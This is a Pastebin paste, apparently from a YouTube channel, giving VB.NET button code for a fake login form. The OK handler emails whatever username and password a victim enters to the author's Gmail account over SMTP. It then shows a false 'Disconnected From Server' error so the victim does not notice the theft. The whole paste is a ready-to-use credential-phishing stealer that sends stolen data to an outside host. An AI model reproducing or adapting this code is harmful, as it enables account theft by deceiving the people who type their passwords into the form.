Guest User

Untitled

a guest
Jan 23rd, 2018
78
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. YouTube.com/MoBGAMERS
  2. codes:
  3.  
  4. OK button-------------------------------------------------------------------------------------------------------------------------------
  5.  
  6. If TextBox1.Text = "" Then
  7.             MsgBox("Username Is Missing")
  8. else
  9.  
  10. If Textbox2.text = "" Then
  11. Msgbox("Password Is Mising")
  12.         Else
  13.  
  14.         Dim smtpServer As New SmtpClient()
  15.         Dim mail As New MailMessage()
  16.         smtpServer.Credentials = New Net.NetworkCredential("Your Gmail", "Your Gmail Password")
  17.         'using gmail
  18.        smtpServer.Port = 587
  19.         smtpServer.Host = "smtp.gmail.com"
  20.         smtpServer.EnableSsl = True
  21.         mail = New MailMessage()
  22.         mail.From = New MailAddress("Your Gmail")
  23.         mail.To.Add("Your Gmail")
  24.         mail.Subject = "Username: " & TextBox1.Text
  25.         mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & textbox2.text
  26.         smtpServer.Send(mail)
  27.         MsgBox("Disconnected From Server, Please try again later!")
  28. end if
  29. end if
  30. ---------------------------------------------------------------------------------------------------------------------------------------------------
  31.  
  32.  
  33.  
  34.  
  35.  
  36. Cancel Button----------------------------------------------------------------------------------------------------------------------
  37. me.close
  38. ---------------------------------------------------------------------------------------------------------------------------------------------------
Add Comment
Please, Sign In to add comment